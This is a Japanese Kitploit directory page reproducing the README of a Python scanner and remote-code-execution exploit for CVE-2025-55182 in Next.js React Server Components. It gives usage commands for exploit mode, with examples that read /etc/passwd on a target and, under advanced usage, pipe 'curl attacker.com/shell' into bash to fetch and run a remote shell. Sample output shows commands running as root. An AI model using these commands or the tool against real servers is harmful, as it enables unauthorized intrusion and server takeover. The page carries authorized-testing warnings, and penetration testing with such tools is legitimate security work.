Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-55182 — Next.jsアプリケーションにおける **React Server Components (RSC)** の脆弱性を検出および悪用するためのPythonベースのセキュリティスキャナです。このツールは、受動的検出、能动的フィンガープリンティング、およびRCE悪用テストを実行します。 | Kitploit
ツール/GitHubGitHub/mahaveer-choudhary/cve-2025-55182
脆弱性スキャナーコード分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテスト
GitHubmahaveer-choudhary/cve-2025-55182

CVE-2025-55182

Next.jsアプリケーションにおける **React Server Components (RSC)** の脆弱性を検出および悪用するためのPythonベースのセキュリティスキャナです。このツールは、受動的検出、能动的フィンガープリンティング、およびRCE悪用テストを実行します。

リポジトリを見る
118ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

RSC Detector - React Server Components 脆弱性スキャナー

Next.jsアプリケーションにおける**React Server Components (RSC)**の脆弱性を検出・悪用するPythonベースのセキュリティスキャナーです。このツールは、受動的検出、能動的フィンガープリンティング、およびRCE悪用テストを実行します。

⚠️ 警告: このツールは許可されたセキュリティテストのみを対象としています。コンピュータシステムへの不正アクセスは違法です。テスト前に必ず書面による許可を取得してください。


機能

✅ 受動的検出 - HTML、ヘッダー、ページ構造を分析してRSC指標を検出
✅ 能動的フィンガープリンティング - RSC固有のヘッダーを送信してサーバー応答を検出
✅ HTTPヘッダー分析 - Next.jsおよびRSC関連ヘッダーを識別
✅ RCE悪用 - 脆弱なサーバー上でコマンドを実行(悪用可能な場合)
✅ カラー化された端末出力 - 視認性向上のための拡張視覚フィードバック
✅ 対話モード - 悪用モードで複数のコマンドを実行
✅ 堅牢なデコード - gzip圧縮およびバイナリペイロードを処理


インストール

前提条件

  • Python 3.8+
  • pip (Pythonパッケージマネージャー)

セットアップ

  1. リポジトリをクローン

    root@kitploit:~
    git clone https://github.com/mahaveer-choudhary/CVE-2025-55182.git
    cd CVE-2025-55182
    
  2. 依存関係をインストール

root@kitploit:~
pip install -r requirements.txt

必要なパッケージ:

  • requests>=2.28.0 - HTTPクライアントライブラリ
  • urllib3>=1.26.0 - 高度なHTTPユーティリティ
  • colorama>=0.4.6 - 端末色(Windows対応)
  • beautifulsoup4 - HTMLパース

使い方

基本検出(悪用なし)

root@kitploit:~
python rsc_detector.py https://example.com

悪用を含むフルスキャン

root@kitploit:~
python rsc_detector.py https://example.com --exploit

特定のコマンドを実行

root@kitploit:~
python rsc_detector.py https://example.com --exploit --cmd "whoami"

対話型悪用モード

root@kitploit:~
python rsc_detector.py https://example.com --exploit

プロンプトでコマンドを入力(終了するにはquitと入力)。


コマンドラインオプション

Option説明
<URL>ターゲットURL(必須)。ない場合は自動でhttps://を付加
--exploit検出後にRCE悪用を有効にする
--cmd <command>特定のコマンドを実行(--exploitと併用)

例

RSC脆弱性を検出:

root@kitploit:~
python rsc_detector.py https://target.com

悪用してidコマンドを実行:

root@kitploit:~
python rsc_detector.py https://target.com --exploit --cmd "id"

悪用してcat /etc/passwdを実行:

root@kitploit:~
python rsc_detector.py https://target.com --exploit --cmd "cat /etc/passwd"

対話モード(複数コマンド):

root@kitploit:~
python rsc_detector.py https://target.com --exploit

動作の仕組み

1. 受動的スキャン

  • window.__next_fマーカー(Next.js App Router)をチェック
  • text/x-component Content-Typeを検出
  • React Flight Protocolマーカーを検索
  • __NEXT_DATA__とNext.jsインポートを分析

2. ヘッダー分析

  • Server、Vary、X-Nextjs-Cacheヘッダーを調べる
  • HTTPヘッダーにおけるRSC認識を識別

3. 能動的フィンガープリンティング

  • RSC: 1ヘッダーを持つリクエストを送信
  • RSC固有のヘッダーに対するサーバー応答を分析
  • React Flight Protocol構造を検出

4. RCE悪用

  • React Server Componentシリアライゼーションを悪用する悪意のあるJSONペイロードを構築
  • サーバーサイドコード実行をトリガーするためにマルチパートフォームデータを送信
  • base64でエンコードされたコマンド出力をデコード
  • gzip圧縮応答をサポート

出力と結果

検出結果

root@kitploit:~
[*] Starting RSC Detection Scan on: https://example.com
====================================================================

[1] Running Passive Scan...
    Status: DETECTED
    Score: 80/100
    - Found: window.__next_f (App Router)

[2] Analyzing Headers...
    - Vary header includes RSC: ...

[3] Running Active Fingerprint...
    Status: DETECTED
    - Response Content-Type became text/x-component
    - Vary header contains 'RSC'

====================================================================

[FINAL RESULT] VULNERABLE
[!] This application appears to be vulnerable to RSC-based attacks!
    Consider: RCE exploitation may be possible

悪用出力

root@kitploit:~
[*] Executing command: whoami
[+] Command executed successfully!
[OUTPUT]
root

脆弱性の詳細

CVE-2025-55182 は以下を悪用します:

  • React Server Component (RSC) のシリアライゼーションの欠陥
  • Next.js Server Action のデシリアライゼーション脆弱性
  • 悪意のあるペイロードによるオブジェクトプロトタイプ汚染
  • child_process.execSync() を介したコマンドインジェクション

攻撃対象領域

  • App Routerを使用するNext.jsアプリケーション
  • ユーザー制御の入力を持つServer Components
  • RSCが有効だが適切に検証されていないアプリケーション

法的・倫理的ガイドライン

⚠️ 重要

このツールは許可されたセキュリティテストのみを厳格に対象としています:

  1. ✅ 推奨: 自身が所有する、またはテストの書面許可を得ているシステムで使用する
  2. ✅ 推奨: 脆弱性を責任を持ってベンダーに報告する
  3. ✅ 推奨: 責任ある開示慣行に従う
  4. ❌ 禁止: 許可なくシステムに対して使用する
  5. ❌ 禁止: 悪意のある目的で使用する
  6. ❌ 禁止: 機密データを保存または実行する

不正なコンピュータアクセスは違法です:以下の法律に基づきます

  • Computer Fraud and Abuse Act (CFAA) - 米国
  • Computer Misuse Act 1990 - 英国
  • ほとんどの国における同様の法律

責任ある開示

このツールを使用して脆弱性を発見した場合:

  1. 禁止: ベンダーがパッチを提供するまで公開開示しない
  2. 連絡: ベンダーのセキュリティチームに直接連絡する
  3. 許容: パッチ開発に90日間の猶予を与える
  4. 調整: 開示のタイミングについてベンダーと調整する
  5. クレジット: 開示後のアドバイザリで自身の功績を記載する

トラブルシューティング

SSL証明書エラー

このツールはデフォルトでSSL検証を無視します。検証を有効にするには:

root@kitploit:~
detector = RSCDetector(url, verify_ssl=True)

Base64デコードエラー

このツールは自動的に:

  • 不正な形式のbase64文字列にパディングを追加
  • gzipペイロードを検出して解凍
  • バイナリデータに対してUTF-8置換文字にフォールバック

応答に"digest"キーがない

  • ターゲットが脆弱でない可能性がある
  • サーバーが悪用ペイロードをフィルタリングしている可能性がある
  • 手動テストまたは別のエンドポイントを試す

タイムアウト問題

コード内のタイムアウトを増やす:

root@kitploit:~
response = self.session.get(self.url, timeout=30)  # 30 seconds

プロジェクト構造

root@kitploit:~
CVE-2025-55182/
├── README.md                # このファイル
├── requirements.txt         # Python依存関係
├── rsc_detector.py         # メインスキャナー&悪用エンジン
├── rsc_cli.py              # CLIユーティリティ(存在する場合)
├── script.py               # 追加スクリプト(存在する場合)
├── COLOR_GUIDE.md          # カラー出力ドキュメント
└── .gitignore              # Git無視ルール

依存関係

root@kitploit:~
requests>=2.28.0         # HTTPリクエスト
urllib3>=1.26.0          # 高度なHTTP
beautifulsoup4>=4.11.0   # HTMLパース
colorama>=0.4.6          # 端末色(Windows)

一括インストール:

root@kitploit:~
pip install -r requirements.txt

パフォーマンスのヒント

  • 検出を高速化: スキャンのみの場合は--exploitフラグを省略
  • バッチテスト: 複数のURLをスキャンするスクリプトを作成
  • ネットワークタイムアウト: 低速ネットワーク用にタイムアウト値を調整
  • SSLバイパス: 柔軟性のためにデフォルトで検証が無効

高度な使い方

カスタムコマンド実行

root@kitploit:~
python rsc_detector.py https://target.com --exploit --cmd "curl attacker.com/shell | bash"

出力リダイレクト

root@kitploit:~
python rsc_detector.py https://target.com > scan_results.txt 2>&1

バッチスキャン

root@kitploit:~
for url in https://site1.com https://site2.com; do
    python rsc_detector.py "$url"
done

制限事項

  • ⚠️ 脆弱なNext.js構成でのみ動作
  • ⚠️ ターゲットアプリケーションでRSCが有効である必要がある
  • ⚠️ 一部のサーバーは悪用ペイロードをフィルタリングまたはブロックする可能性がある
  • ⚠️ バイナリ出力が端末で正しく表示されない可能性がある
  • ⚠️ コマンド実行はサーバーの権限に依存する

貢献

バグを発見した、または機能強化がありますか?貢献を歓迎します!

  1. リポジトリをフォーク
  2. 機能ブランチを作成 (git checkout -b feature/improvement)
  3. 変更をコミット (git commit -am 'Add feature')
  4. ブランチにプッシュ (git push origin feature/improvement)
  5. プルリクエストを送信

免責事項

root@kitploit:~
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
THE AUTHORS ASSUME NO LIABILITY FOR MISUSE OR UNAUTHORIZED ACCESS.
USE AT YOUR OWN RISK AND ONLY WITH PROPER AUTHORIZATION.

ライセンス

このプロジェクトは教育および許可されたセキュリティテスト目的のみで提供されます。


参考文献

  • React Server Components Documentation
  • Next.js App Router
  • CVE-2025-55182 (利用可能な場合)
  • OWASP: Injection Flaws

連絡先とサポート

  • 脆弱性の報告: 責任ある開示を使用
  • セキュリティ問題: 公開せず、直接メンテナに連絡
  • 機能リクエスト: GitHubでイシューを開く

作者

セキュリティ研究および許可されたペネトレーションテストのために作成されました。

最終更新: 2025年12月19日


変更履歴

v1.0.0

  • ✅ 受動的RSC検出
  • ✅ 能動的フィンガープリンティング
  • ✅ RCE悪用
  • ✅ カラー端末出力
  • ✅ 対話型悪用モード
  • ✅ Gzip解凍サポート
  • ✅ 堅牢なbase64デコード

覚えておいてください: 大きな力には大きな責任が伴います。このツールを倫理的かつ合法的に使用してください。

ツールをダウンロード